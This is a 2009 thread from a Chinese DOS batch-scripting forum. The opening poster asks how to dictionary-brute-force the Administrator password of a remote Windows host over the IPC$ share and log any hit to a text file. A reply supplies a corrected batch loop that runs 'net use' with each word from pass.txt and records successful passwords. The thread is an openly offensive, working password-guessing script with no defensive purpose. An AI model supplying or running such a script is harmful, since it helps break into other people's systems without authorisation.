中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-11 16:59
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 如何实现自动记录结果 查看 730 回复 1
楼 主 如何实现自动记录结果 发表于 2009-04-13 04:16 ·  中国 广东 中移铁通
新手上路
积分 1
发帖 1
注册 2009-04-07 04:25
17年会员
UID 142311
性别 男
状态 离线
想用字典爆破远程主机的登陆密码,希望得到正确密码时,能自动记录到d:\mima.txt,写代码如下(完整的一长条):
for /f %%a in (pass.txt) do net use \\主机IP\ipc$ %%a /u:"Administrator" | find"命令成功完成" echo %%a>>d:\mima.txt
结果在d:\mima.txt里面记录的是“echo状态打开”
又用下面的命令:
for /f %%a in (pass.txt) do net use \\主机IP\ipc$ %%a /u:"Administrator"
if not errorlevel 1 echo %%a>>d:\mima.txt
我想实现的是:如果成功,他的返回码为0,显示密码的结果,并记录下来;否则他的返回码都会大于1的

大家帮我看看,问题出在哪里?
2 试一下这个程序 发表于 2009-04-14 03:58 ·  中国 浙江 杭州 电信
新手上路
积分 1
发帖 1
注册 2009-04-13 04:25
17年会员
UID 142808
性别 男
状态 离线
cd c:\
for /f %%a in (pass.txt) do (net use \\username\ipc$ "%%a" /user:"Administrator"
if not errorlevel 1 echo %%a>>c:\mima.txt)
pause
net use \\username\IPc$ /del
pause
论坛跳转: